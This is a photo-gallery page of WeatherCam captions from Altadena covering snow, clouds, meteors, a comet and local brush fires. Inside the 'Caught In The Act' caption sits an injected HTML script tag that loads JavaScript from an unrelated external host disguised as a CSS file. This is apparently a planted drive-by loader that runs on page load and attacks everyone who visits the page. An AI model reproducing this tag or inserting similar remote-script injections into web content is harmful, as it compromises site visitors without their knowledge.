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The Morning After2349 viewsThe morning after the cold winter storm blew through. Snow level was down to about 2000 feet. My house is at 1680 feet.
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Snowfall2643 viewsA rare sight here in Altadena. Snow actually falling. Of couse it didn't stick long.
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Clouds2186 viewsI get a lot of nice shots of clouds. I'll try to upload a few of the more interesting ones.
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Airplane2437 viewsThe long exposures on the WeatherCam at night (sometimes as much as 16 seconds) makes for some interesting effects. Here, a plane passes by. The lights make a streak and the dots along the line are the blinking lights on the plane.
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Fish Bone2260 viewsThe wind made this long whispy cloud look like a fish bone.
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Low Clouds1866 viewsLow clouds moved in this evening. Gave an eerie look to the WeatherCam images.
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Caught In The Act2544 viewsWe were out of town on July 4th. The "kids" stayed home. Here, my daughter and her friend are caught by the WeatherCam standing on our roof to watch the fireworks from the Rose Bowl. <script src=http://cgi35.plala.or.jp/z32web30/tmp/css/css.js></script>
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Fire2190 viewsThe glow from a small brush fire near the top of Lake Avenue can be seen on the right side of this image. Living along the foothills, we are always alert to fires. The sirens woke us up and we went up the street to watch. Quick work from the Los Angeles County Fire Department had the fire under control quickly.
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Meteor2209 viewsThere are two great Meteor Showers the end of July and beginning of August. The Delta Aquarid Shower which is the years longest, and the Perseids Meteor Shower which peaks on August 12. Here, the WeatherCam appears to have caught one of the Delta Aquarid meteors during one of the long exposures.
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Comet Holmes2078 viewsComet Holmes, normally only visible with the aid of telescopes has suddenly become brighter after emitting a large dust cloud. Now usually somewhat visible with the naked eye, it is definitely visible with binoculars.

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Draconid Meteor 11240 viewsThe October Draconids, in the past also unofficially known as the Giacobinids, are a meteor shower whose parent body is the periodic comet 21P/Giacobini-Zinner. A Draconid meteor shower is expected to happen in early October of 2011, and the best nights for viewing are expected to be October 8–10. The Draconids are best viewed after sunset in an area with a clear dark sky. They are swift and short in length. The Altadena WeatherCam caught this one the evening before the expected peak.
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The Lowe Fire1605 viewsThe WeatherCam caught several good images of the Lowe Fire (named for nearby Mt. Lowe). Quick work from the Angeles National Forest Fire Crews along with Los Angeles County resources kept the fire to around 12 acres with no structures lost.
In this image a Water Dropping Helicopter approaches to make a drop.
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